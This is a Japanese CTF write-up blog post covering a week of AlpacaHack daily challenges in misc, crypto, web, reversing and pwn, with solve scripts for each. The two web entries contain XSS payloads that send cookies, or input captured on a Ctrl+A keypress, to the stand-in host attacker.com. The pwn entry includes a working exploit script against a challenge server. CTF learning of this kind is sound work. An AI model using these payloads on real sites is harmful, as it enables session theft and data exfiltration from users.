Daily AlpacaHack Writeup (2026-05-25 ~ 2026-05-31)
Daily AlpacaHack の Writeup.
(2026/5/25 - 2026/5/31)
Catrunner (Misc, 2026/5/25)
- cat でファイル表示を行うプログラム
..がフィルタされている中で親ディレクトリにあるフラグを指定出来ればクリアの問題os.path.isfile()にファイル以外のコマンドを仕込むのは難しそうなのでos.path.joinについて調べると, 第二引数が絶対パスならばそちらが優先されるらしい- よって以下でフラグ獲得できた
/flag.txt
I cannot decrypt RSA (Crypto, 2026/5/26)
- RSA 暗号の復号手順で本来 $\phi = (p-1)(q-1)$ と設定するはずが $\phi = (p+1)(q+1)$ と設定されている
- 間違った phi を $\phi_f$ とすると, $\phi = 2n - \phi_f + 2$ の関係が成立することが式変形からわかるので, この $\phi$ から復号鍵を算出する
- 渡される変数
flagは間違った復号鍵 $d'$ で復号処理をされたものなので, $flag \equiv m^{ed'} \mod n$ が成立するため, $d = (ed')^{-1} \mod n$ で復号鍵が算出できる
from Crypto.Util.number import long_to_bytes, inverse, bytes_to_long n = 121171405093237217063227091172111185824248557962241995647996651518028003422004265461446978461128670887791544521942407383833048111248151442041011392122935068929002416630648052784801292541758655639201511448785066170672299107294278226935064116631227052642961885774807709471051084305123234900517439397737934065023 e = 65537 phi = 121171405093237217063227091172111185824248557962241995647996651518028003422004265461446978461128670887791544521942407383833048111248151442041011392122935091315818127868894450561134101711214249383744038537542940920232549769137343118351526052753080295420884439664114630356220739171908973211717355798463354554088 flag = b'N$\x9d_\x982\xb6\xb0b\x1c=K\x05\xd3]\xe2\x14_g8\xfbDTo\x07\xa3\xd6\xf42X\xc7f)\x0c(\x1e\x9ca\xbbL?\xb3\xaah\xe29R\xf8\xad\xa2\x0b\xc5\x0b\xf5\xc7\xfb\x9d\xd9\x98x\xa7C\xd3-\xe8\x18\xa2\x18\x05\xa5"\x86\xd7\xa9\x80\xdbi\xbe\x16\x81k\xce\x8c@>x\x93\x9eG\x1f\x06\x11R\x03\x95/h6\xe3\x1b\xf5\xaed\x99p(\xed]\xd0\xa1%\xe7uKvX\x05lc\x0e\xf1\xd9\xa5\xad\xbc\xb8>C' false_d = inverse(e, phi) true_phi = 2*n - phi + 2 d = inverse(e*false_d, true_phi) m = pow(bytes_to_long(flag), d, n) print(long_to_bytes(m))
Hello Programmer! (Web, 2026/5/27)
- CSP によりスクリプト読み込みに制限があるが,
nonceに正しい値を入れている場合のみ実行可能になる nonceはset_nonceで作成されているが,secrets.tokenbytesのように()がついていないため, 毎回同じnonceになってしまう (という理由は後からコードを読み直して分かったことで, 解く際は何回かアクセスして同じになってるからきっとそういうミスがあるのだろうと仮定して解いた)- よって
nonceは一度アクセスした際についていたものを使えばよいので, 以下のようにnonce付きのscriptタグを注入することでフラグ獲得 (attacker.com を XSS 用の URL とする. 自分は webhook.site を用いた)
import urllib.parse as parse target_url = "http://34.170.146.252:19414/?username=" param = '<script nonce="PGZ1bmN0aW9uIHRva2VuX2J5dGVzIGF0IDB4N2ZlODQ5M2M5ZmUwPg==">location.href="https://attacker.com/?c="+encodeURIComponent(document.cookie);</script>' print(target_url + parse.quote(param))
AlpacaForm (Rev, 2026/5/28)
- Windows の .exe とライブラリが渡される
- Windows アプリの逆コンパイルといえば
ilspyなので, そのコマンドライン版であるilspycmdを使って逆コンパイルしてみた
ilspycmd AlpacaForm.dll > decomp.cs
- 結果として中身は簡単なフラグチェッカーとなっていたため, 逆処理を書いてフラグ獲得
flags = [ 52, 25, 5, 20, 22, 20, 14, 24, 16, 16, 7, 30, 20, 1, 42, 18, 20, 42, 19, 25, 20, 24, 28, 27, 18, 26, 84, 42, 26, 1, 26, 1, 26, 8] flag = "" for flagch in flags: flag += chr(flagch ^ 0x75) print(flag)
Decrypt Shop (Crypto, 2026/5/29)
- フラグの暗号以外の数字について, RSA の復号処理を行ってくれるプログラム
- $2c$ を送ると $2^dc^d \mod n$ が返ってくる
- $p, q$ 以外の数は $n$ と互いに素であるため, $2^d$ の逆元は計算可能
- $2^dc^d \cdot 2^{-d} \equiv c^d \mod n$ でフラグを獲得できる
from pwn import * from Crypto.Util.number import GCD, inverse, long_to_bytes _, host, port = "nc 34.170.146.252 41193".split() sh = remote(host, port) prompt = sh.recvuntil("n =".encode()) n = int(sh.recvline().decode().strip()) prompt = sh.recvuntil("e =".encode()) e = int(sh.recvline().decode().strip()) prompt = sh.recvuntil("c =".encode()) c = int(sh.recvline().decode().strip()) print(f"n = {n}") print(f"e = {e}") print(f"c = {c}") prompt = sh.recvuntil(">".encode()) print(prompt.decode()) sh.sendline("2".encode()) d2 = int(sh.recvline().strip()) print("2^d:", d2) assert GCD(d2, n) == 1 d2inv = inverse(d2, n) prompt = sh.recvuntil(">".encode()) print(prompt.decode()) sh.sendline(str(2*c).encode()) d2dc = int(sh.recvline().strip()) m = d2dc * d2inv % n print(long_to_bytes(m)) sh.close()
Slipboard (Web, 2026/5/30)
- XSS 問題
- チャレンジはシンプルな入力フォームで, POST をすると入力が表示される
- Admin Bot は一度フォームにフラグをコピペして, その後すべてデリートしてから用意していた文字列を入力し, 一致を確かめたうえで送信している
- 初めに XSS 脆弱性を調べると,
qという名前のキーのクエリパラメータに送った文字列が HTML として反映されることが分かった (以下でalertが起動する)
http://34.170.146.252:5967/?q=%3cscript%3ealert(1)%3b%3c%2fscript%3e
- スクリプトタグを埋め込めるので, キーボード入力を Javascript から制御すればよいと考えた
- POST リクエストは用意されているが, 入力チェックがあるためそこまで処理が進む前に攻撃者のサイトに誘導する必要があると考えられる
Control+Aがフラグデリート前にあるため, このボタンが押された際に攻撃者のサイトにフラグ付きでリダイレクトさせればフラグが獲得できるので以下を注入することでフラグ獲得
<script> document.addEventListener("keydown", (event) => { const isSelectAll = (event.ctrlKey || event.metaKey) && event.key.toLowerCase() === "a"; if (isSelectAll) { event.preventDefault(); const val = document.getElementById("input").value; location.href="https://attacker.com/?c="+encodeURIComponent(val); } }); </script>
login-bonus-3 (Pwn, 2026/5/31)
- ランダム生成されるパスワードを入力しログインする必要のある問題
- 入力サイズなどは適切に管理されており, BOF などは難しそう
- パスワードの生成時に
**passwordという形でポインタの受け渡しがあったため GDB で調べてみると,auth関数内でinputの配列のスタックは以下のようになっていた
(gdb) x/80x $rbp-0x110 0x7fffffffcdf0: 0x00000001 0x00000000 0x00000006 0x00000001 0x7fffffffce00: 0x000000bf 0x00000003 0x00000001 0x00000000 0x7fffffffce10: 0x001e0000 0x00000000 0x00000040 0x00000000 0x7fffffffce20: 0x000102f9 0x00000000 0x00000002 0x00000000 0x7fffffffce30: 0x218c0329 0x00000000 0xffffcef8 0x00007fff 0x7fffffffce40: 0xffffcf40 0x00007fff 0xf7fdeddb 0x00007fff 0x7fffffffce50: 0x0000000a 0x00000000 0x00000040 0x00000000 0x7fffffffce60: 0x01400000 0x00000000 0x0000000a 0x00000000 0x7fffffffce70: 0xffffffff 0xffffffff 0xf7c4a2ea 0x00007fff 0x7fffffffce80: 0x0000000c 0x7ea43c67 0xb9c16a00 0xc7a003ad 0x7fffffffce90: 0xffffcea0 0x00007fff 0xf7c4a0ad 0x00007fff 0x7fffffffcea0: 0xffffcf00 0x00007fff 0x0040121b 0x00000000 0x7fffffffceb0: 0x01540000 0x00000000 0xffffcf28 0x00007fff 0x7fffffffcec0: 0x0000c000 0xd7223609 0x00000010 0x00000000 0x7fffffffced0: 0x51584c47 0x4152454d 0x47525855 0x4e534a52 0x7fffffffcee0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffcef0: 0x00000000 0x00000000 0xb9c16a00 0xc7a003ad 0x7fffffffcf00: 0xffffcf30 0x00007fff 0x004013c7 0x00000000 0x7fffffffcf10: 0xffffd058 0x00007fff 0xf7fe5af0 0x00000001 0x7fffffffcf20: 0xffffd010 0x00007fff 0xffffced0 0x00007fff
0x7fffffffced0に事前に確認したsecretが格納されており, この場所はinput内なので, うまく書き換えることでパスワードの書き換えが可能 (generate_passwordでローカル変数secretをポインタに渡したうえで関数からリターンしているのが原因)read関数はヌルバイトをそのままヌルバイトとして読み込み, 一方strcmpはヌルバイトを終端とみなすことを利用してパスワードの書き換えを行いフラグ獲得
from pwn import * context.binary = "./login" gscript = """ break *auth+188 c """ is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 21982".split() sh = remote(host, port) else: context.terminal = ["tmux", "splitw", "-h"] sh = process() gdb.attach(sh, gdbscript=gscript) prompt = sh.recvuntil("Password:".encode()) print(prompt.decode()) payload = b"a" * 16 # password payload += b"\x00" * (0xe0 - 16) # padding payload += b"a" * 16 # overwrite password payload += b"\x00" * 4 sh.sendline(payload) sh.interactive()